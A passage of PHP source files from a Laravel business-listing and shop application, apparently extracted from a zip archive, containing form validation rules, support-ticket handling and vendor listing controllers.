'between:-90,90'], 'longitude' => ['required', 'numeric', 'between:-180,180'], ]; $languages = Language::all(); foreach ($languages as $language) { $property = $language->code . '_country_id'; if ($request->$property) { $Statess = State::where('country_id', $property)->count(); if ($Statess != 0) { $State = true; } else { $State = false; } } else { $States = State::where('language_id', $language->id)->count(); if ($States != 0) { $State = true; } else { $State = false; } } $countries = Country::where('language_id', $language->id)->count(); if ($countries != 0) { $country = true; } else { $country = false; } $rules[$language->code . '_title'] = 'required|max:255'; $rules[$language->code . '_address'] = 'required'; $rules[$language->code . '_category_id'] = 'required'; $rules[$language->code . '_city_id'] = 'required'; $rules[$language->code . '_state_id'] = $State ? 'required' : ''; $rules[$language->code . '_country_id'] = $country ? 'required' : ''; $rules[$language->code . '_description'] = 'required|min:15'; $rules[$language->code . '_aminities'] = 'required'; } return $rules; } else { if ($request->video_url) { $video = true; } else { $video = false; } $videoImage = Listing::findorfail($request->listing_id)->video_background_image; if ($videoImage) { $videohave = false; } else { $videohave = true; } $vendorId = $request->vendor_id; $listingImageLimit = packageTotalListingImage($vendorId); $siderImageCount = ListingImage::where('listing_id', $request->listing_id)->count(); $siders = $listingImageLimit - $siderImageCount; $additionalFeatureLimit = packageTotalAdditionalSpecification($vendorId); $aminitiesLimit = packageTotalAminities($vendorId); $SocialLinkLimit = packageTotalSocialLink($vendorId); $permissions = currentPackageFeatures($vendorId); if (!empty(currentPackageFeatures($vendorId))) { $permissions = json_decode($permissions, true); } if (is_array($permissions) && in_array('Amenities', $permissions)) { $Amenities = true; } else { $Amenities = false; } $rules = [ 'slider_images' => 'sometimes|array|max:' . $siders, 'video_background_image' => [ $video ? ($videohave ? 'required' : '') : '', new ImageMimeTypeRule(), ], 'thumbnail' => [ 'dimensions:width=600,height=400', new ImageMimeTypeRule(), ], 'mail' => 'required', 'phone' => 'required', 'max_price' => 'required|numeric', 'min_price' => 'required|numeric|lt:max_price', 'status' => 'required', 'latitude' => ['required', 'numeric', 'between:-90,90'], 'longitude' => ['required', 'numeric', 'between:-180,180'], ]; $languages = Language::all(); foreach ($languages as $language) { $property = $language->code . '_country_id'; if ($request->$property) { $Statess = State::where('country_id', $property)->count(); if ($Statess != 0) { $State = true; } else { $State = false; } } else { $States = State::where('language_id', $language->id)->count(); if ($States != 0) { $State = true; } else { $State = false; } } $countries = Country::where('language_id', $language->id)->count(); if ($countries != 0) { $country = true; } else { $country = false; } $rules[$language->code . '_title'] = 'required|max:255'; $rules[$language->code . '_address'] = 'required'; $rules[$language->code . '_category_id'] = 'required'; $rules[$language->code . '_state_id'] = $State ? 'required' : ''; $rules[$language->code . '_country_id'] = $country ? 'required' : ''; $rules[$language->code . '_city_id'] = 'required'; $rules[$language->code . '_description'] = 'required|min:15'; $rules[$language->code . '_aminities'] = $Amenities ? 'required|array|max:' . $aminitiesLimit : ''; $rules[$language->code . '_feature_heading'] = 'sometimes|array|max:' . $additionalFeatureLimit; } return $rules; } } public function messages() { $messageArray = []; $languages = Language::all(); foreach ($languages as $language) { $messageArray[$language->code . '_title.required'] = 'The title field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_title.max'] = 'The title field cannot contain more than 255 characters for ' . $language->name . ' language'; $messageArray[$language->code . '_address.required'] = 'The address field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_category_id.required'] = 'The category field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_city_id.required'] = 'The city field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_state_id.required'] = 'The state field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_country_id.required'] = 'The Country field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_description.required'] = 'The description field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_description.min'] = 'The description field at least have 15 characters for ' . $language->name . ' language'; $messageArray[$language->code . '_aminities.required'] = 'The Amenities field is required for ' . $language->name . ' language'; $messageArray[$language->code . '_aminities.max'] = 'Maximum ' . $this->aminitiesLimit() . ' aminities can be added per listing (for ' . $language->name . ' Language)'; } return $messageArray; } private function aminitiesLimit() { $vendorId = $this->vendor_id; if ($vendorId == 0) { return PHP_INT_MAX; } else { return packageTotalAminities($vendorId); } } } PK(\) |UJJ&Http/Requests/MailFromAdminRequest.phpnu[ 'required', 'smtp_host' => 'required', 'smtp_port' => 'required|numeric', 'encryption' => 'required', 'smtp_username' => 'required', 'smtp_password' => 'required', 'from_mail' => 'required', 'from_name' => 'required' ]; } public function messages() { return [ 'from_mail.required' => 'The mail address field is required.' ]; } } PK(\j5XX$Http/Requests/Admin/StoreRequest.phpnu[ [ 'required', new ImageMimeTypeRule() ], 'role_id' => 'required', 'username' => 'required|max:255|unique:admins', 'email' => 'required|email:rfc,dns|unique:admins', 'first_name' => 'required', 'last_name' => 'required', 'password' => 'required|confirmed', 'password_confirmation' => 'required' ]; } public function messages() { return [ 'role_id.required' => 'The role field is required.', 'password.confirmed' => 'Password confirmation does not match.', 'password_confirmation.required' => 'The confirm password field is required.' ]; } } PK(\t%Http/Requests/Admin/UpdateRequest.phpnu[ $this->hasFile('image') ? new ImageMimeTypeRule() : '', 'role_id' => 'required', 'username' => [ 'required', 'max:255', Rule::unique('admins')->ignore($this->id) ], 'email' => [ 'required', 'email:rfc,dns', Rule::unique('admins')->ignore($this->id) ], 'first_name' => 'required', 'last_name' => 'required' ]; } } PK(\*y'Http/Requests/Language/StoreRequest.phpnu[ 'required', 'code' => 'required|unique:languages', 'direction' => 'required' ]; } } PK(\tt(Http/Requests/Language/UpdateRequest.phpnu[ 'required', 'code' => [ 'required', Rule::unique('languages')->ignore($this->id) ], 'direction' => 'required' ]; } } PK(\qpp#Http/Requests/Blog/StoreRequest.phpnu[ [ 'required', new ImageMimeTypeRule() ], 'serial_number' => 'required|numeric' ]; $languages = Language::all(); foreach ($languages as $language) { $ruleArray[$language->code . '_title'] = 'required|max:255|unique:blog_informations,title'; $ruleArray[$language->code . '_author'] = 'required|max:255'; $ruleArray[$language->code . '_category_id'] = 'required'; $ruleArray[$language->code . '_content'] = 'min:30'; } return $ruleArray; } public function messages() { $messageArray = []; $languages = Language::all(); foreach ($languages as $language) { $messageArray[$language->code . '_title.required'] = 'The title field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_title.max'] = 'The title field cannot contain more than 255 characters for ' . $language->name . ' language.'; $messageArray[$language->code . '_title.unique'] = 'The title field must be unique for ' . $language->name . ' language.'; $messageArray[$language->code . '_author.required'] = 'The author field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_author.max'] = 'The author field cannot contain more than 255 characters for ' . $language->name . ' language.'; $messageArray[$language->code . '_category_id.required'] = 'The category field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_content.min'] = 'The content must be at least 30 characters for ' . $language->name . ' language.'; } return $messageArray; } } PK(\u:5b$Http/Requests/Blog/UpdateRequest.phpnu[ $this->hasFile('image') ? new ImageMimeTypeRule() : '', 'serial_number' => 'required|numeric' ]; $languages = Language::all(); foreach ($languages as $language) { $ruleArray[$language->code . '_title'] = [ 'required', 'max:255', Rule::unique('blog_informations', 'title')->ignore($this->id, 'blog_id') ]; $ruleArray[$language->code . '_author'] = 'required|max:255'; $ruleArray[$language->code . '_category_id'] = 'required'; $ruleArray[$language->code . '_content'] = 'min:30'; } return $ruleArray; } public function messages() { $messageArray = []; $languages = Language::all(); foreach ($languages as $language) { $messageArray[$language->code . '_title.required'] = 'The title field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_title.max'] = 'The title field cannot contain more than 255 characters for ' . $language->name . ' language.'; $messageArray[$language->code . '_title.unique'] = 'The title field must be unique for ' . $language->name . ' language.'; $messageArray[$language->code . '_author.required'] = 'The author field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_author.max'] = 'The author field cannot contain more than 255 characters for ' . $language->name . ' language.'; $messageArray[$language->code . '_category_id.required'] = 'The category field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_content.min'] = 'The content must be at least 30 characters for ' . $language->name . ' language.'; } return $messageArray; } } PK(\Dgg.Http/Requests/WithdrawPaymentMethodRequest.phpnu[ */ public function rules() { return [ 'language_id' => 'required', 'min_limit' => 'required', 'max_limit' => 'required', 'name' => 'required', 'status' => 'required' ]; } } PK(\8F44$Http/Requests/Popup/StoreRequest.phpnu[ 'required', 'type' => 'required', 'image' => [ 'required', new ImageMimeTypeRule() ], 'name' => 'required|max:255', 'background_color' => 'required_if:type,2|required_if:type,3|required_if:type,7', 'background_color_opacity' => 'required_if:type,2|required_if:type,3|numeric|between:0,1', 'title' => 'required_if:type,2|required_if:type,3|required_if:type,4|required_if:type,5|required_if:type,6|required_if:type,7|max:255', 'text' => 'required_if:type,2|required_if:type,3|required_if:type,4|required_if:type,5|required_if:type,6|required_if:type,7', 'button_text' => 'required_if:type,2|required_if:type,3|required_if:type,4|required_if:type,5|required_if:type,6|required_if:type,7|max:255', 'button_color' => 'required_if:type,2|required_if:type,3|required_if:type,4|required_if:type,5|required_if:type,6|required_if:type,7', 'button_url' => 'required_if:type,2|required_if:type,4|required_if:type,6|required_if:type,7', 'end_date' => 'required_if:type,6|required_if:type,7|date', 'end_time' => 'required_if:type,6|required_if:type,7|date_format:h:i A', 'delay' => 'required|numeric', 'serial_number' => 'required|numeric' ]; } public function messages() { return [ 'language_id.required' => 'The language field is required.' ]; } } PK(\ass%Http/Requests/Popup/UpdateRequest.phpnu[ $this->hasFile('image') ? new ImageMimeTypeRule() : '', 'name' => 'required|max:255', 'background_color' => 'required_if:type,2|required_if:type,3|required_if:type,7', 'background_color_opacity' => 'required_if:type,2|required_if:type,3|numeric|between:0,1', 'title' => 'required_if:type,2|required_if:type,3|required_if:type,4|required_if:type,5|required_if:type,6|required_if:type,7|max:255', 'text' => 'required_if:type,2|required_if:type,3|required_if:type,4|required_if:type,5|required_if:type,6|required_if:type,7', 'button_text' => 'required_if:type,2|required_if:type,3|required_if:type,4|required_if:type,5|required_if:type,6|required_if:type,7|max:255', 'button_color' => 'required_if:type,2|required_if:type,3|required_if:type,4|required_if:type,5|required_if:type,6|required_if:type,7', 'button_url' => 'required_if:type,2|required_if:type,4|required_if:type,6|required_if:type,7', 'end_date' => 'required_if:type,6|required_if:type,7|date', 'end_time' => 'required_if:type,6|required_if:type,7|date_format:h:i A', 'delay' => 'required|numeric', 'serial_number' => 'required|numeric' ]; } } PK(\]k""#Http/Requests/Page/StoreRequest.phpnu[ 'required' ]; $languages = Language::all(); foreach ($languages as $language) { $ruleArray[$language->code . '_title'] = 'required|max:255|unique:page_contents,title'; $ruleArray[$language->code . '_content'] = 'min:15'; } return $ruleArray; } /** * Get the validation messages that apply to the request. * * @return array */ public function messages() { $messageArray = []; $languages = Language::all(); foreach ($languages as $language) { $messageArray[$language->code . '_title.required'] = 'The title field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_title.max'] = 'The title field cannot contain more than 255 characters for ' . $language->name . ' language.'; $messageArray[$language->code . '_title.unique'] = 'The title field must be unique for ' . $language->name . ' language.'; $messageArray[$language->code . '_content.min'] = 'The content field atleast have 15 characters for ' . $language->name . ' language.'; } return $messageArray; } } PK(\$Http/Requests/Page/UpdateRequest.phpnu[ 'required' ]; $languages = Language::all(); foreach ($languages as $language) { $ruleArray[$language->code . '_title'] = [ 'required', 'max:255', Rule::unique('page_contents', 'title')->ignore($this->id, 'page_id') ]; $ruleArray[$language->code . '_content'] = 'min:15'; } return $ruleArray; } /** * Get the validation messages that apply to the request. * * @return array */ public function messages() { $messageArray = []; $languages = Language::all(); foreach ($languages as $language) { $messageArray[$language->code . '_title.required'] = 'The title field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_title.max'] = 'The title field cannot contain more than 255 characters for ' . $language->name . ' language.'; $messageArray[$language->code . '_title.unique'] = 'The title field must be unique for ' . $language->name . ' language.'; $messageArray[$language->code . '_content.min'] = 'The content field atleast have 15 characters for ' . $language->name . ' language.'; } return $messageArray; } } PK(\ 9@@,Http/Requests/Advertisement/StoreRequest.phpnu[ 'required', 'resolution_type' => 'required|numeric', 'image' => [ 'required_if:ad_type,banner', $this->hasFile('image') ? new ImageMimeTypeRule() : '' ], 'url' => [ 'required_if:ad_type,banner', $this->filled('url') ? 'url' : '' ], 'slot' => 'required_if:ad_type,adsense' ]; } } PK(\QN-Http/Requests/Advertisement/UpdateRequest.phpnu[id); $array = [ 'ad_type' => 'required', 'resolution_type' => 'required|numeric' ]; if (($this->ad_type == 'banner') && is_null($ad->image) && !$this->has('image')) { $array['image'] = 'required'; } if ($this->hasFile('image')) { $array['image'] = new ImageMimeTypeRule(); } $array['url'] = [ 'required_if:ad_type,banner', $this->filled('url') ? 'url' : '' ]; $array['slot'] = 'required_if:ad_type,adsense'; return $array; } public function messages() { return [ 'image.required' => 'The image field is required when ad type is banner.' ]; } } PK(\:!Http/Requests/WithdrawRequest.phpnu[ */ public function rules() { $rules = [ 'withdraw_method' => 'required', 'withdraw_amount' => 'required', ]; $inputs = WithdrawMethodInput::where('withdraw_payment_method_id', $this->withdraw_method)->orderBy('order_number', 'asc')->get(); foreach ($inputs as $input) { if ($input->required == 1) { $rules["$input->name"] = 'required'; } $this->validate($rules); } } } PK(\?f!Http/Requests/CurrencyRequest.phpnu[ 'required', 'base_currency_symbol_position' => 'required', 'base_currency_text' => 'required', 'base_currency_text_position' => 'required', 'base_currency_rate' => 'required|numeric' ]; } } PK(\*$ $ +Http/Requests/Shop/ProductUpdateRequest.phpnu[id); $sliderImages = json_decode($product->slider_images); $ruleArray = [ 'slider_images' => count($sliderImages) == 0 && empty($this->slider_images) ? 'required' : '', 'featured_image' => $this->hasFile('featured_image') ? new ImageMimeTypeRule() : '', 'status' => 'required' ]; $productType = $this->product_type; if ($productType == 'digital') { $ruleArray['input_type'] = 'required'; if ($this->input_type == 'upload' && empty($product->file)) { $ruleArray['file'] = 'required'; } if ($this->hasFile('file')) { $ruleArray['file'] = 'mimes:zip'; } $ruleArray['link'] = 'required_if:input_type,link'; } elseif ($productType == 'physical') { $ruleArray['stock'] = 'required|numeric'; } $ruleArray['current_price'] = 'required|numeric'; $languages = Language::all(); foreach ($languages as $language) { $ruleArray[$language->code . '_title'] = [ 'required', 'max:255', Rule::unique('product_contents', 'title')->ignore($this->id, 'product_id') ]; $ruleArray[$language->code . '_category_id'] = 'required'; $ruleArray[$language->code . '_summary'] = 'required'; $ruleArray[$language->code . '_content'] = 'min:30'; } return $ruleArray; } /** * Get the validation messages that apply to the request. * * @return array */ public function messages() { $messageArray = []; $productType = $this->product_type; if ($productType == 'digital') { $messageArray['file.required'] = 'The downloadable file is required when input type is upload.'; $messageArray['file.mimes'] = 'Only .zip file is allowed for product\'s file.'; $messageArray['link.required_if'] = 'The file download link is required when input type is link.'; } $languages = Language::all(); foreach ($languages as $language) { $messageArray[$language->code . '_title.required'] = 'The title field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_title.max'] = 'The title field cannot contain more than 255 characters for ' . $language->name . ' language.'; $messageArray[$language->code . '_title.unique'] = 'The title field must be unique for ' . $language->name . ' language.'; $messageArray[$language->code . '_category_id.required'] = 'The category field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_summary.required'] = 'The summary field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_content.min'] = 'The content must be at least 30 characters for ' . $language->name . ' language.'; } return $messageArray; } } PK(\)Http/Requests/Shop/CouponStoreRequest.phpnu[ */ public function rules() { return [ 'name' => 'required', 'code' => 'required|unique:product_coupons', 'type' => 'required', 'value' => 'required|numeric', 'start_date' => 'required|date', 'end_date' => 'required|date', ]; } } PK(\`-Http/Requests/Shop/PurchaseProcessRequest.phpnu[ 'required', 'billing_email' => 'required|email:rfc,dns', 'billing_phone' => 'required', 'billing_city' => 'required', 'billing_country' => 'required', 'billing_address' => 'required', 'shipping_name' => 'required_if:checkbox,1', 'shipping_phone' => 'required_if:checkbox,1', 'shipping_email' => 'required_if:checkbox,1|email:rfc,dns', 'shipping_city' => 'required_if:checkbox,1', 'shipping_country' => 'required_if:checkbox,1', 'shipping_address' => 'required_if:checkbox,1' ]; } /** * Get the validation messages that apply to the request. * * @return array */ public function messages() { return [ 'billing_name.required' => 'The first name field is required.', 'billing_email.required' => 'The email field is required.', 'billing_phone.required' => 'The phone number field is required.', 'billing_address.required' => 'The address field is required.', 'billing_city.required' => 'The city field is required.', 'billing_country.required' => 'The country field is required.', 'shipping_name.required_if' => 'The first name field is required.', 'shipping_email.required_if' => 'The email field is required.', 'shipping_phone.required_if' => 'The phone number field is required.', 'shipping_address.required_if' => 'The address field is required.', 'shipping_city.required_if' => 'The city field is required.', 'shipping_country.required_if' => 'The country field is required.' ]; } } PK(\r<*Http/Requests/Shop/CouponUpdateRequest.phpnu[ */ public function rules() { return [ 'name' => 'required', 'code' => [ 'required', Rule::unique('product_coupons')->ignore($this->id, 'id'), 'max:255', ], 'type' => 'required', 'value' => 'required|numeric', 'start_date' => 'required|date', 'end_date' => 'required|date', ]; } } PK(\Eai i *Http/Requests/Shop/ProductStoreRequest.phpnu[ 'required', 'featured_image' => [ 'required', new ImageMimeTypeRule() ], 'status' => 'required' ]; $productType = $this->product_type; if ($productType == 'digital') { $ruleArray['input_type'] = 'required'; $ruleArray['file'] = 'required_if:input_type,upload|mimes:zip'; $ruleArray['link'] = 'required_if:input_type,link'; } elseif ($productType == 'physical') { $ruleArray['stock'] = 'required|numeric'; } $ruleArray['current_price'] = 'required|numeric'; $languages = Language::all(); foreach ($languages as $language) { $ruleArray[$language->code . '_title'] = 'required|max:255|unique:product_contents,title'; $ruleArray[$language->code . '_category_id'] = 'required'; $ruleArray[$language->code . '_summary'] = 'required'; $ruleArray[$language->code . '_content'] = 'min:30'; } return $ruleArray; } /** * Get the validation messages that apply to the request. * * @return array */ public function messages() { $messageArray = []; $productType = $this->product_type; if ($productType == 'digital') { $messageArray['file.required_if'] = 'The downloadable file is required when input type is upload.'; $messageArray['file.mimes'] = 'Only .zip file is allowed for product\'s file.'; $messageArray['link.required_if'] = 'The file download link is required when input type is link.'; } $languages = Language::all(); foreach ($languages as $language) { $messageArray[$language->code . '_title.required'] = 'The title field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_title.max'] = 'The title field cannot contain more than 255 characters for ' . $language->name . ' language.'; $messageArray[$language->code . '_title.unique'] = 'The title field must be unique for ' . $language->name . ' language.'; $messageArray[$language->code . '_category_id.required'] = 'The category field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_summary.required'] = 'The summary field is required for ' . $language->name . ' language.'; $messageArray[$language->code . '_content.min'] = 'The content must be at least 30 characters for ' . $language->name . ' language.'; } return $messageArray; } } PK(\0ݩ-Http/Controllers/Vendor/PackageController.phpnu[support_ticket_status != 'active') { return redirect()->route('vendor.dashboard'); } $status = null; if ($request->filled('status')) { $status = $request['status']; } $collection = SupportTicket::where([['user_id', Auth::guard('vendor')->user()->id], ['user_type', 'vendor']])->when($status, function ($query, $status) { return $query->where('status', $status); }) ->orderByDesc('id') ->paginate(10); return view('vendors.support_ticket.index', compact('collection')); } //create public function create() { $s_status = SupportTicketStatus::first(); if ($s_status->support_ticket_status != 'active') { return redirect()->route('vendor.dashboard'); } return view('vendors.support_ticket.create'); } //store public function store(Request $request) { $rules = [ 'email' => 'required', 'subject' => 'required', ]; $file = $request->file('attachment'); $allowedExts = array('zip'); $rules['attachment'] = [ function ($attribute, $value, $fail) use ($file, $allowedExts) { $ext = $file->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only zip file supported"); } }, 'max:20000' ]; $messages = [ 'attachment.max' => 'Attachment may not be greater than 20 MB', ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $in = $request->all(); if ($request->hasFile('attachment')) { $attachment = $request->file('attachment'); $filename = uniqid() . '.' . $attachment->getClientOriginalExtension(); $attachment->move(public_path('assets/admin/img/support-ticket/attachment/'), $filename); $in['attachment'] = $filename; } $in['user_id'] = Auth::guard('vendor')->user()->id; $in['user_type'] = 'vendor'; $in['description'] = Purifier::clean($request->description, 'youtube'); SupportTicket::create($in); Session::flash('success', 'Support Ticket Created Successfully..!'); return back(); } //message public function message($id) { $s_status = SupportTicketStatus::first(); if ($s_status->support_ticket_status != 'active') { return redirect()->route('vendor.dashboard'); } $ticket = SupportTicket::findOrFail($id); if ($ticket->user_type == 'vendor' && $ticket->user_id != Auth::guard('vendor')->user()->id) { return redirect()->route('vendor.dashboard'); } return view('vendors.support_ticket.messages', compact('ticket')); } public function zip_file_upload(Request $request) { $file = $request->file('file'); $allowedExts = array('zip'); $rules = [ 'file' => [ function ($attribute, $value, $fail) use ($file, $allowedExts) { $ext = $file->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only zip file supported"); } }, 'max:5000' ], ]; $messages = [ 'file.max' => ' zip file may not be greater than 5 MB', ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } if ($request->hasFile('file')) { $file = $request->file('file'); $filename = uniqid() . '.' . $file->getClientOriginalExtension(); $file->move(public_path('assets/front/temp/'), $filename); $input['file'] = $filename; } return response()->json(['data' => 1]); } public function ticketreply(Request $request, $id) { $s_status = SupportTicketStatus::first(); if ($s_status->support_ticket_status != 'active') { return redirect()->route('vendor.dashboard'); } $file = $request->file('file'); $allowedExts = array('zip'); $rules = [ 'reply' => 'required', 'file' => [ function ($attribute, $value, $fail) use ($file, $allowedExts) { $ext = $file->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only zip file supported"); } }, 'max:20000' ], ]; $messages = [ 'file.max' => ' Zip file may not be greater than 20 MB', ]; $request->validate($rules, $messages); $input = $request->all(); $reply = str_replace(url('/') . '/assets/front/img/', "{base_url}/assets/front/img/", $request->reply); $input['reply'] = Purifier::clean($reply, 'youtube'); $input['user_id'] = Auth::guard('vendor')->user()->id; $input['type'] = 3; $input['support_ticket_id'] = $id; if ($request->hasFile('file')) { $file = $request->file('file'); $filename = uniqid() . '.' . $file->getClientOriginalExtension(); $file->move(public_path('assets/admin/img/support-ticket/'), $filename); $input['file'] = $filename; } $data = new Conversation(); $data->create($input); $files = glob('assets/front/temp/*'); foreach ($files as $file) { unlink($file); } SupportTicket::where('id', $id)->update([ 'last_message' => Carbon::now(), ]); Session::flash('success', 'Message Sent Successfully'); return back(); } //delete public function delete($id) { //delete all support ticket $support_ticket = SupportTicket::find($id); if ($support_ticket) { //delete conversation $messages = $support_ticket->messages()->get(); foreach ($messages as $message) { @unlink(public_path('assets/admin/img/support-ticket/' . $message->file)); $message->delete(); } @unlink(public_path('assets/admin/img/support-ticket/attachment/') . $support_ticket->attachment); $support_ticket->delete(); } Session::flash('success', 'Support Ticket Deleted Successfully..!'); return back(); } } PK(\ 5Http/Controllers/Vendor/Listing/ListingController.phpnu[getCurrencyInfo(); $information['langs'] = Language::all(); if ($request->language) { $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); } else { $language = Language::where('is_default', 1)->first(); } $information['language'] = $language; $language_id = $language->id; $status = $title = $category = null; if (request()->filled('status') && request()->input('status') !== "All") { $status = request()->input('status'); } $category_listingIds = []; if ($request->filled('category') && $request->input('category') !== "All") { $category = $request->input('category'); $category_content = ListingCategory::where([['language_id', $language->id], ['slug', $category]])->first(); if (!is_null($category_content)) { $category = $category_content->id; $contents = ListingContent::where('language_id', $language->id) ->where('category_id', $category) ->get() ->pluck('listing_id'); foreach ($contents as $content) { if (!in_array($content, $category_listingIds)) { array_push($category_listingIds, $content); } } } } $listingIds = []; if ($request->filled('title')) { $title = $request->title; $listing_contents = ListingContent::where('language_id', $language->id) ->where('title', 'like', '%' . $title . '%') ->get() ->pluck('listing_id'); foreach ($listing_contents as $listing_content) { if (!in_array($listing_content, $listingIds)) { array_push($listingIds, $listing_content); } } } $information['listings'] = Listing::with([ 'listing_content' => function ($q) use ($language_id) { $q->where('language_id', $language_id); }, 'vendor' ]) ->when($category, function ($query) use ($category_listingIds) { return $query->whereIn('listings.id', $category_listingIds); }) ->when($status, function ($query) use ($status) { if ($status === 'approved') { return $query->where('status', 1); } elseif ($status === 'pending') { return $query->where('status', 0); } else { return $query->where('status', 2); } }) ->when($title, function ($query) use ($listingIds) { return $query->whereIn('listings.id', $listingIds); }) ->where('vendor_id', Auth::guard('vendor')->user()->id) ->orderBy('id', 'desc') ->paginate(10); $information['vendors'] = Vendor::where('id', '!=', 0)->get(); $information['categories'] = ListingCategory::Where('language_id', $language_id)->get(); //Feature part $information['onlineGateways'] = OnlineGateway::where('status', 1)->get(); $information['offline_gateways'] = OfflineGateway::where('status', 1)->orderBy('serial_number', 'asc')->get(); $stripe = OnlineGateway::where('keyword', 'stripe')->first(); $stripe_info = json_decode($stripe->information, true); $information['stripe_key'] = $stripe_info['key']; $authorizenet = OnlineGateway::query()->whereKeyword('authorize.net')->first(); $anetInfo = json_decode($authorizenet->information); if ($anetInfo->sandbox_check == 1) { $information['anetSource'] = 'https://jstest.authorize.net/v1/Accept.js'; } else { $information['anetSource'] = 'https://js.authorize.net/v1/Accept.js'; } $information['anetClientKey'] = $anetInfo->public_key; $information['anetLoginId'] = $anetInfo->login_id; $charges = FeaturedListingCharge::orderBy('days')->get(); $information['charges'] = $charges; return view('vendors.listing.index', $information); } public function updateVisibility(Request $request) { $vendorId = Auth::guard('vendor')->user()->id; $current_package = VendorPermissionHelper::packagePermission($vendorId); if ($current_package != '[]') { $listing = Listing::findOrFail($request->listingId); if ($request->visibility == 1) { $listing->update(['visibility' => 1]); Session::flash('success', 'Listing Show successfully!'); } if ($request->visibility == 0) { $listing->update(['visibility' => 0]); Session::flash('success', 'Listing Hide successfully!'); } return redirect()->back(); } else { Session::flash('warning', 'Please Buy a plan to manage Hide/Show!'); return redirect()->route('vendor.listing_management.listing'); } } public function create() { $information = []; $languages = Language::get(); $information['languages'] = $languages; $information['vendors'] = Vendor::get(); return view('vendors.listing.create', $information); } public function imagesstore(Request $request) { $img = $request->file('file'); $allowedExts = array('jpg', 'png', 'jpeg', 'svg', 'webp'); $rules = [ 'file' => [ function ($attribute, $value, $fail) use ($img, $allowedExts) { $ext = $img->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only png, jpg, jpeg images are allowed"); } }, ] ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { $validator->getMessageBag()->add('error', 'true'); return response()->json($validator->errors()); } $filename = uniqid() . '.jpg'; $directory = public_path('assets/img/listing-gallery/'); @mkdir($directory, 0775, true); $img->move($directory, $filename); $pi = new ListingImage(); $pi->image = $filename; $pi->save(); return response()->json(['status' => 'success', 'file_id' => $pi->id]); } public function imagermv(Request $request) { $pi = ListingImage::findOrFail($request->fileid); $image_count = ListingImage::where('listing_id', $pi->listing_id)->get()->count(); if ($image_count > 1) { @unlink(public_path('assets/img/listing-gallery/') . $pi->image); $pi->delete(); return $pi->id; } else { return 'false'; } } public function imagedbrmv(Request $request) { $pi = ListingImage::findOrFail($request->fileid); $image_count = ListingImage::where('listing_id', $pi->listing_id)->get()->count(); if ($image_count > 1) { @unlink(public_path('assets/img/listing-gallery/') . $pi->image); $pi->delete(); Session::flash('success', 'Slider image deleted successfully!'); return Response::json(['status' => 'success'], 200); } else { Session::flash('warning', 'You can\'t delete all images.!!'); return Response::json(['status' => 'success'], 200); } } public function getState(Request $request) { $data['states'] = State::where('country_id', $request->id)->get(); $data['cities'] = City::where('country_id', $request->id)->get(); return $data; } public function getCity(Request $request) { $data = City::where('state_id', $request->id)->get(); return $data; } public function store(ListingStoreRequest $request) { if ($request->can_listing_add == 2) { Session::flash('warning', 'You listings limit reached or exceeded'); return Response::json(['status' => 'error'], 200); } elseif ($request->can_listing_add == 1) { $featuredImgURL = $request->feature_image; $videoImgURL = $request->video_background_image; $languages = Language::all(); $in = $request->all(); if ($request->feature_image) { $featuredImgExt = $featuredImgURL->getClientOriginalExtension(); // set a name for the featured image and store it to local storage $featuredImgName = time() . '.' . $featuredImgExt; $featuredDir = public_path('assets/img/listing/'); if (!file_exists($featuredDir)) { @mkdir($featuredDir, 0777, true); } copy($featuredImgURL, $featuredDir . $featuredImgName); $in['feature_image'] = $featuredImgName; } if ($request->video_background_image) { $videoImgExt = $videoImgURL->getClientOriginalExtension(); // set a name for the featured image and store it to local storage $videoImgName = time() . '.' . $videoImgExt; $videoDir = public_path('assets/img/listing/video/'); if (!file_exists($videoDir)) { @mkdir($videoDir, 0777, true); } copy($videoImgURL, $videoDir . $videoImgName); $in['video_background_image'] = $videoImgName; } $videoLink = $request->video_url; if ($videoLink) { if (strpos($videoLink, "&") != false) { $videoLink = substr($videoLink, 0, strpos($videoLink, "&")); } $in['video_url'] = $videoLink; } $listing = Listing::create($in); $siders = $request->slider_images; if ($siders) { $pis = ListingImage::findOrFail($siders); foreach ($pis as $key => $pi) { $pi->listing_id = $listing->id; $pi->save(); } } foreach ($languages as $language) { $listingContent = new ListingContent(); $listingContent->language_id = $language->id; $listingContent->listing_id = $listing->id; $listingContent->title = $request[$language->code . '_title']; $listingContent->slug = createSlug($request[$language->code . '_title']); $listingContent->category_id = $request[$language->code . '_category_id']; $listingContent->country_id = $request[$language->code . '_country_id']; $listingContent->state_id = $request[$language->code . '_state_id']; $listingContent->city_id = $request[$language->code . '_city_id']; $listingContent->address = $request[$language->code . '_address']; $aminities = $request->input($language->code . '_aminities', []); $listingContent->aminities = json_encode($aminities); $listingContent->description = Purifier::clean($request[$language->code . '_description'], 'youtube'); $listingContent->meta_keyword = $request[$language->code . '_meta_keyword']; $listingContent->meta_description = $request[$language->code . '_meta_description']; $listingContent->save(); } //adding business hours $days = ['Saturday', 'Sunday', 'Monday', 